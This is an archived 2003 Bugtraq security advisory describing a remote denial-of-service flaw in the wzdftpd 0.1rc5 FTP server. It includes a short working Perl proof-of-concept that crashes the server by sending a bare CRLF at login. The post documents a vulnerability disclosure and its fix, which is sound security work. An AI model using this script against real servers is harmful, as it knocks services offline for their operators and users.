Moozatech: WZFTPD Denial Of Service

From: Moran Zavdi (Security_at_moozatech.com)
Date: 09/23/03

  • Next message: joe: "Illegal Instruction and Frame pointer overwriting"
    To: <bugtraq@securityfocus.com>, <vuln-dev@securityfocus.com>
    Date: Tue, 23 Sep 2003 08:33:05 -0700
    
    
    

    23/09/03

    Moozatech Advisory http://www.moozatech.com/mt-23-09-2003.txt

    -------------------------------------------------------

    Application: wzdftpd FTP Server
    Web Site: http://www.wzdftpd.net
    Versions: 0.1rc5
    Platform: Windows 2000,WindowsXP,UNIX systems might also be affected.
    Risk: Remote DOS.
    Severity: Medium
    Fix Available: Yes
    -------------------------------------------------------

    1) Introduction
    2) Bug
    3) The Code
    4) Fix
    5) About Moozatech
    6) Disclaimer
    7) FeedBack

    ===============
    1) Introduction
    ===============

    wzdftpd is a ftp server designed to be modular, work under
    linux/win32/freebsd/openbsd,
    and to be entirely configurable online using SITE commands.

    ======
    2) Bug
    ======

    wzdftpd has an internal check during the login process to verify the input.
    however, sending a single CRLF sequence at login will cause an
    Unhandled exception at the server.

    ====================
    3) Proof of concept.
    ====================

    #!/usr/bin/perl
    #
    # ####################################
    # # Proof of concept for #
    # # WZDFTPD FTP Server version 0.1rc5 #
    # ####################################
    #
    # http://www.moozatech.com/mt-23-09-2003.txt
    #
    # Usage: perl mooza1.pl [host] [port]
    use IO::Socket;

    $host = $ARGV[0];
    $port = $ARGV[1];
    print "\n#####################################\n\n";
    print "Proof-Of-Concept for wzdftpd v0.1rc5.\n";
    print "this code is for demonstration only.\n";
    print "Use it under your own responsebility.\n";
    print "\n#####################################\n\n";

    if (defined $host && defined $port ) {
    } else {
      print "Oops, Something is missing.\n";
      die "Usage: perl mooza1.pl [host] [port]\n";
    }

    print "Connecting to $host:$port... ";

    $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
     Proto => "tcp", Type=> SOCK_STREAM) or die "Failed, Cant connect?\n";
    print "OK\n";
    sleep 1;
    print "Sending Dos..\n";
    sleep 2;
    print $socket "\r\n";
    $socket->autoflush(1);

    sleep 2;
    print "we are done here..\n\n";
    close($socket);

    ======
    4) Fix
    ======

    the author has confirmed this bug as critical and issued a fix at the CVS
    version and
    its also availble on the daily version.

    ==================
    5) About Moozatech
    ==================

    Moozatech IT Systems Ltd. (“Moozatech”) is a leading information security
    consulting
    and project management firm focused on developing
    "Secure IT Solutions" which best suit the client's operational needs.
    Moozatech devotes time to make a secure computing environment for customers.

    =============
    6) Disclaimer
    =============

    The information within this paper may change without notice. Use of this
    information constitutes acceptance for use in an AS IS condition. There are
    NO warranties with regard to this information. In no event shall the author
    be liable for any damages whatsoever arising out of or in connection with
    the use or spread of this information. Any use of this information is at the
    user's own risk.

    =============
    7) FeedBack
    =============

    Please send suggestions, updates, and comments to:

    Security@moozatech.com
    http://www.moozatech.com

    -----

    Moran Zavdi
    Moozatech IT Systems
    www.moozatech.com

    
    



  • Next message: joe: "Illegal Instruction and Frame pointer overwriting"

    Relevant Pages

    • Moozatech: WZFTPD Denial Of Service
      ... Application: wzdftpd FTP Server ... Fix Available: Yes ... Bug ... About Moozatech ...
      (Bugtraq)
    • [Un] Unangband 0.6.3 released
      ... Allow player to assemble friendly monsters and carry eggs to hatch ... Updated druidic spells to use new region code. ... Fix lockup bugs generating the Old Forest. ... Fix bug where items dropped by monster death would infinitely ...
      (rec.games.roguelike.announce)
    • please pull from the trivial tree
      ... Fix spelling in E1000_DISABLE_PACKET_SPLIT Kconfig description ... +- Finding patch that caused a bug ... +Always try the latest kernel from kernel.org and build from source. ... Length of input string in bytes ...
      (Linux-Kernel)
    • Subterrane v0.194 Alpha Released
      ... system, a character sheet, a ton of new spells, new monsters, item ... Added a character sheet that displays your character's ... Fix: Fixed a bug in the encumbrance calculation and status display ...
      (rec.games.roguelike.announce)
    • Re: Larkin, Power BASIC cannot be THAT good:
      ... If they did not produce a product with *adequate* quality then customers would not buy it and the company would not make a profit. ... it is to change a product in the field, and Y axis is bug density. ... but when the in service fix is almost free to the supplier then they will exploit that to their advantage. ... On-screen programming is pretty much type and ignite and see what ...
      (sci.electronics.design)